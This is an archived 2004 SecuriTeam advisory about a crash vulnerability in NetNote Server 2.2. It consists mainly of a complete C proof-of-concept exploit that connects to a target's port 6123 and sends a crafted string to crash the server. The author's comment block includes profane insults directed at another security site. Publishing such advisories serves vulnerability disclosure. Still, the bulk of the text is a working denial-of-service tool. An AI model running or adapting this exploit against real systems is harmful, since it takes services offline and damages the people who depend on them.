

[NT] NetNote Crafted String DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0038.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/15/04

To: list@securiteam.com

Date: 15 Nov 2004 19:42:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

NetNote Crafted String DoS

SUMMARY

<<http://www.alshare.com/>> NetNote is "the most complete free electronic notes software". Due to a vulnerability in the NetNote, a remote attacker sending a specially crafted string to the server can cause it to crash.

DETAILS

Vulnerable Systems:

- * NetNote Server version 2.2

Exploit:

/*

NetNote Server v2.2 build 230, crafted string vulnerability.

Poc included crash the server.

Full disclosure and poc exploit

by class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet

13 november 2004

WHAT IS NETNOTE

Homepage – <http://www.alshare.com/>

NetNote is the most complete free electronic note software.
NetNote has been created to improve your productivity by integrating several unique features with an easy-to-use and nice-looking interface. Also called sticky-note utility, this Windows freeware targets SOHO and medium size businesses as well as the Health community. It has network capabilities (send and receive notes, Instant Messaging), text notes, audio attachments, alarms and models (templates). It also supports the latest Windows XP features as transparency and XP themes. The 5.0 version contains several features asked by the Health community (veterinarians, physicians and dentists). For example, NetNote is now integrated with AVImark, the leading veterinarian software.

VULNERABILITY

A special string submitted to the server will cause an access violation...

FIX

Actually none, the vendor is contacted.

EXTRA

Tested on Win2k Server SP4 and WinXP Pro SP1.
This shouldn't be more exploitable, else code something to show me that Im wrong :->

BY

class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
who
F.U.C.K
K-OTik.com displaying the half part of codes they receive
(also some other friends to me noticed it..., another ie:
JPEG Exploits, 6 or 7 mirrors displayed, poor assh0les...)
milw0rm.com rules!
*/
#include "winsock2.h"
#include "fstream.h"
#pragma comment(lib, "ws2_32")
static char payload[100];
char crash[]="\x90\x90\x90\x90\x20\x20\x20\x20";
void usage(char* us);
WSADATA wsadata;
void ver();

Securiteam: [NT] NetNote Crafted String DoS

```
int main(int argc, char *argv[])
{
    ver();
    if
((argc<3)|| (argc>4)|| (atoi(argv[1])<1)|| (atoi(argv[1])>1)){usage(argv[0]);return -1;}
    if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error:
"<<WSAGetLastError()<<endl;return -1;}
    int ip=htonl(inet_addr(argv[2])), port;
    if (argc==4){port=atoi(argv[3]);}
    else port=6123;
    SOCKET s;
    struct fd_set mask;
    struct timeval timeout;
    struct sockaddr_in server;
    s=socket(AF_INET,SOCK_STREAM,0);
    if (s==INVALID_SOCKET){ cout<<"[+] socket() error:
"<<WSAGetLastError()<<endl;WSACleanup();return -1;}
    server.sin_family=AF_INET;
    server.sin_addr.s_addr=htonl(ip);
    server.sin_port=htons(port);
    WSAConnect(s,(struct sockaddr
*)&server,sizeof(server),NULL,NULL,NULL,NULL);
    timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
    switch(select(s+1,NULL,&mask,NULL,&timeout))
    {
        case -1: {cout<<"[+] select() error:
"<<WSAGetLastError()<<endl; closesocket(s);return -1;}
        case 0: {cout<<"[+] connect() error:
"<<WSAGetLastError()<<endl; closesocket(s);return -1;}
        default:
            if(FD_ISSET(s,&mask))
            {
                cout<<"[+] connected, sending the bad string..."<<endl;
                Sleep(1000);
                if (atoi(argv[1]) == 1){strcat(payload,crash);}
                strcat(payload,"\r\n");
                Sleep(1000);
                if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+]
sending error, the server proolly rebooted."<<endl;return -1;}
                Sleep(1000);
                if (atoi(argv[1]) == 1){cout<<"[+] payload send, the NetNote server
should be crashed."<<endl;}
                return 0;
            }
        }
    closesocket(s);
    WSACleanup();
    return 0;
}

void usage(char* us)
{
    cout<<"USAGE: 101_netn.exe Method Ip Port\n"<<endl;
    cout<<"TARGETS:                               "<<endl;
    cout<<"    [+] 1. Crash NetNote Server    (*)"<<endl;
    cout<<"NOTE:                               "<<endl;
    cout<<"    The port 6123 is default if no port are specified"<<endl;
    cout<<"    The exploit crash the server."<<endl;
    cout<<"    A wildcard (*) mean Tested."<<endl;
    return;
}

void ver()
{
```

Securiteam: [NT] NetNote Crafted String DoS

```
cout<<endl;
cout<<"
"<<endl;
cout<<"
=====[v0.1]====="<<endl;
cout<<"      ===NetNote Server v2.2, Free Electronic Notes for
Windows===="<<endl;
cout<<"      =====Remote Crafted String
Vulnerability====="<<endl;
cout<<"      ====coded by class101=====[DFind.kd-team.com
2004]====="<<endl;
cout<<"
===== "<<endl;
cout<<"
"<<endl;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:class101@phreaker.net> class
101.
=====
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securitea
=====
=====
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental,
```